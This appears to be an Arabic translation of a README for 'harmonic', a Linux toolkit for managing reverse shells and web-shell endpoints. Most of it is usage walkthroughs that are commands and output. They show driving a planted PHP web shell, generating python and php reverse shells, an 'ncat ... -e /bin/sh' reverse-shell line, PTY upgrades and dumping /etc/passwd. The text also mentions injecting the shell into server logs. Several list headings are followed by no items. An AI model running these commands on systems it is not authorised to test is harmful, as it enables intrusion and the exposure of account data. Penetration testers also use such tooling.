
مجموعة أدوات للتعامل مع الريفرس شل مصممة للعمل ضمن الصدفة الأصلية
بداية مجموعة أدوات لينكس لإدارة والتعامل مع القشور العكسية (لا تزال الشيفرة في حالة خام وسريعة حاليًا، مع القليل من معالجة الاستثناءات). مع استلهام قوي من فلسفة UNIX، الفكرة الأساسية هي وجود خفي (دايمون) للتعامل مع نقاط نهاية عشوائية (connd، على الرغم من أنه ليس خفيًا حقيقيًا بعد لكنه يمكن أن يعمل في طرفية منفصلة) وتشغيل الأدوات ضد نقاط النهاية هذه.
نقاط النهاية "تُدار" بواسطة سكربت أو عملية وتُعرض كملفات في نظام الملفات، ومن ثم يمكن استخدام عميل برمجي رفيع للتفاعل معها، ويمكن بنفس السهولة الكتابة إليها والقراءة منها باستخدام أوامر القشرة. في الواقع، القدرة على تشغيل السكربتات بشكل مستقل من القشرة هي عامل تصميم رئيسي حيث يُفترض، في أفضل الحالات، أن يعتمد السكربت على وجود نقطة نهاية لكن يمكن استخدامه مع غيره أيضًا (تتسلسل مع بعضها البعض).
خيارات نقاط النهاية الحالية هي:
يوفر العميل البرمجي الرفيع (hthinc.py) واجهة أساسية لنقطة نهاية النظام بالإضافة إلى تشغيل سكربتات بسرعة ضد النظام. تمت كتابة عدة سكربتات أساسية لكنها مفيدة:
أنواع مشغلات القشرة العكسية (أي ما يقوم بتشغيل القشرة على النظام البعيد) هي التالية (حاليًا دعم لينكس):
سكربتات أخرى:
أخبر connd ببدء نقطة نهاية، باستخدام مشغل قشرة wedge ضد سكربت php المقدم والذي يقوم باستدعاءات نظام مع استجابة منسقة. لكن هذا السكربت المكون من سطر واحد كان يمكن بسهولة أن يُحقن ككود في سجل خادم
$ hconnd.py start wsh http://example.com/hwsh.php
1
هذا أنشأ نقطة النهاية 1 (أنبوبي إدخال/إخراج — يمكنك رؤيتهما كـ t1i و t1o في الدليل الفرعي run). لذا الآن نستخدم hthinc.py للتفاعل مع القشرة.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
نعلم أن هذا نظام لينكس. نريد الابتعاد عن قشرة ويب محشورة والحصول على قشرة حقيقية. تشغيل الأمر المدمج !help يعرض رسالة مساعدة thinc. يمكننا تشغيل سكربت sp والذي سيشغّل أوامر تلقائيًا ضد النظام البعيد، إجراء تعداد للبيئة، بدء نقطة نهاية nc، إطلاق قشرة عكسية والدخول تلقائيًا عبر hthinc.py جديد:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
أو إذا علمنا أننا نستخدم (مثلًا) PHP كمشغل، يمكننا تحديد ذلك:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
ولنفترض أن لدينا قشرة بدون TTY أو نريد الخروج منها يمكننا تشغيل أحد الماكروهات الافتراضية:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
أيضًا إذا أردنا تسجيل مخرجات أمر يمكننا استخدام سكربت log والذي سيحفظها في دليل العمل الحالي:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
بينما نقاط النهاية تعمل، يمكنك إرفاق/فصل العملاء لأن عمليات الاتصال تُدار بواسطة الخفي
نظرًا لأن كل شيء يمكن تشغيله بطريقة يونكسية أكثر، يمكننا تكرار العمليات بسرعة من القشرة. نبدأ نقطة نهاية قشرة ويب، نحصل على معرف نقطة النهاية ثم من القشرة نشغّل سكربت sp.py ضد نقطة النهاية (إنه نفس السكربت المستخدم في hthinc.py لكن بنقطة دخول مختلفة).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
أو كسطر واحد:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
وأتمتته بسهولة:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
أداة hcmd.py تسمح لك بتشغيل أمر بسرعة عبر نقطة نهاية من قشرتك
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
وتوجيه النتائج أو إعادة توجيهها كالمعتاد
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
يمكنك استخدام الفعل list مع hconn.py لرؤية القائمة الحالية لنقاط النهاية، مع حالة الاتصال إذا كان ذلك مناسبًا
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
إعداد نقطة نهاية قشرة wedge:
$ hconn.py start wsh http://example.com/hwsh.php
1
الآن يمكننا إعداد مستمع netcat على المنفذ 4444:
$ hconn.py start nc 4444
2
ثم الكتابة إلى نقطة نهاية القشرة wedge (معرف 1) عبر ملف الإدخال:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
يجب أن يكون هذا قد أطلق قشرة عائدة إلى مستمع netcat. أرفق العميل الرفيع بنقطة نهاية netcat (معرف 2) وينبغي أن نحصل على قشرة أخرى بانتظارنا:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
إن تعميم واجهة القشرة في ملفات يعني أن السكربتات المستخدمة ضد نقطة نهاية قشرة ويب ستعمل أيضًا ضد نقطة نهاية قشرة عكسية netcat. يمكنك استدعاء السكربتات باستخدام مسارها المطلق ($HCROOT/share/script/*.py) أو يمكنك استخدام السكربت المساعد hscr.py
يمكننا تشغيل sp.py ضد نقطة نهاية netcat وإطلاق قشرة عكسية أخرى: